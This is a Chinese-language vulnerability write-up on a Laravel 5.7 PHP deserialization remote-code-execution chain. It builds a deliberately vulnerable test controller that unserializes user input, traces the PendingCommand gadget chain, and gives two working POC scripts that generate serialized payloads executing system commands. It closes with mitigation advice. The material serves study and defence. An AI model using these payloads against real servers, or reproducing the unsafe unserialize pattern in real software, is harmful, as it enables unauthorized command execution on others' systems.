Laravel 5.7 反序列化漏洞分析与利用
漏洞概述
Laravel 5.7版本中存在一个反序列化漏洞,攻击者可以通过精心构造的序列化数据实现远程代码执行(RCE)。该漏洞主要利用PendingCommand类的__destruct()方法作为入口点,通过一系列对象属性控制最终实现任意命令执行。
环境搭建
-
系统要求:
- PHP >= 7.1.3
- Laravel 5.7
-
安装步骤:
composer create-project laravel/laravel=5.7 laravel5-7 --prefer-dist php artisan serve -
添加测试路由:
在routes/web.php中添加:Route::get("/index","\App\Http\Controllers\TestController@demo"); -
创建测试控制器:
在app/Http/Controllers/TestController.php中:<?php namespace App\Http\Controllers; use Illuminate\Http\Request; class TestController extends Controller { public function demo() { if(isset($_GET['c'])) { $code = $_GET['c']; unserialize($code); } else { highlight_file(__FILE__); } return "Welcome to laravel5.7"; } }
漏洞分析
漏洞入口点
漏洞利用链始于PendingCommand类的__destruct()方法,位于:
vendor/laravel/framework/src/Illuminate/Foundation/Testing/PendingCommand.php
当对象被销毁时,如果hasExecuted为false(默认值),会调用run()方法:
public function __destruct() {
if ($this->hasExecuted) {
return;
}
$this->run();
}
关键调用链
-
run()方法:
public function run() { $this->hasExecuted = true; $this->mockConsoleOutput(); try { $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters); } catch (...) { // ... } // ... } -
mockConsoleOutput()方法:
该方法会创建模拟对象,关键点在于:foreach ($this->test->expectedQuestions as $i => $question) { // ... }这里的
$this->test可控,可以利用__get()魔术方法绕过。 -
createABufferedOutputMock()方法:
同样存在类似的可控点:foreach ($this->test->expectedOutput as $i => $output) { // ... } -
核心利用点:
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);通过控制
$this->app和$this->command、$this->parameters实现任意命令执行。
绕过技术
-
绕过mockConsoleOutput检查:
使用DefaultGenerator或GenericUser类来提供expectedQuestions和expectedOutput属性:$this->default = ['T0WN' => "hacker"]; // 或 $this->attributes['expectedOutput'] = 1; -
**控制\(this->app**: 需要将`\)this->app
设置为Illuminate\Foundation\Application实例,并控制其bindings或instances`属性:$app = new Illuminate\Foundation\Application([ "Illuminate\Contracts\Console\Kernel" => [ "concrete" => "Illuminate\Foundation\Application" ] ]); -
最终命令执行:
通过控制$this->command和$this->parameters实现:$this->command = "system"; $this->parameters = ["whoami"];
漏洞利用POC
POC 1
<?php
namespace Illuminate\Foundation\Testing {
use Faker\DefaultGenerator;
use Illuminate\Foundation\Application;
class PendingCommand {
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters, $class, $app) {
$this->command = $command;
$this->parameters = $parameters;
$this->test = $class;
$this->app = $app;
}
}
$a = array("DawnT0wn" => "1");
$app = array("Illuminate\Contracts\Console\Kernel" => array("concrete" => "Illuminate\Foundation\Application"));
echo urlencode(serialize(new PendingCommand("system", array("whoami"), new DefaultGenerator($a), new Application($app))));
}
namespace Faker {
class DefaultGenerator {
protected $default;
public function __construct($default = null) {
$this->default = $default;
}
}
}
namespace Illuminate\Foundation {
class Application {
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind) {
$this->bindings = $bind;
}
}
}
POC 2
<?php
namespace Illuminate\Foundation\Testing {
class PendingCommand {
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct($test, $app, $command, $parameters) {
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Faker {
class DefaultGenerator {
protected $default;
public function __construct($default = null) {
$this->default = $default;
}
}
}
namespace Illuminate\Foundation {
class Application {
protected $instances = [];
public function __construct($instances = []) {
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("DawnT0wn" => "1"));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, "system", array("whoami"));
echo urlencode(serialize($pendingcommand));
}
漏洞修复
- 升级到Laravel最新版本
- 避免直接反序列化用户输入
- 使用
allowed_classes选项限制反序列化的类:unserialize($code, ['allowed_classes' => false]);
总结
该漏洞利用链展示了Laravel框架中反序列化漏洞的典型利用方式,通过控制对象属性实现从反序列化到RCE的完整链条。理解此漏洞有助于:
- 学习PHP反序列化漏洞的挖掘思路
- 掌握Laravel框架的内部工作机制
- 提高对POP(Property-Oriented Programming)链构造的理解
值得注意的是,Laravel 5.4到5.8版本中存在多条类似的利用链,安全研究人员应全面审查反序列化操作的安全性。
参考链接
- https://laworigin.github.io/2019/02/21/laravelv5-7反序列化rce/
- https://xz.aliyun.com/t/8359#toc-6
- https://blog.csdn.net/rfrder/article/details/113826483
- https://xz.aliyun.com/t/9478
- https://www.anquanke.com/post/id/258264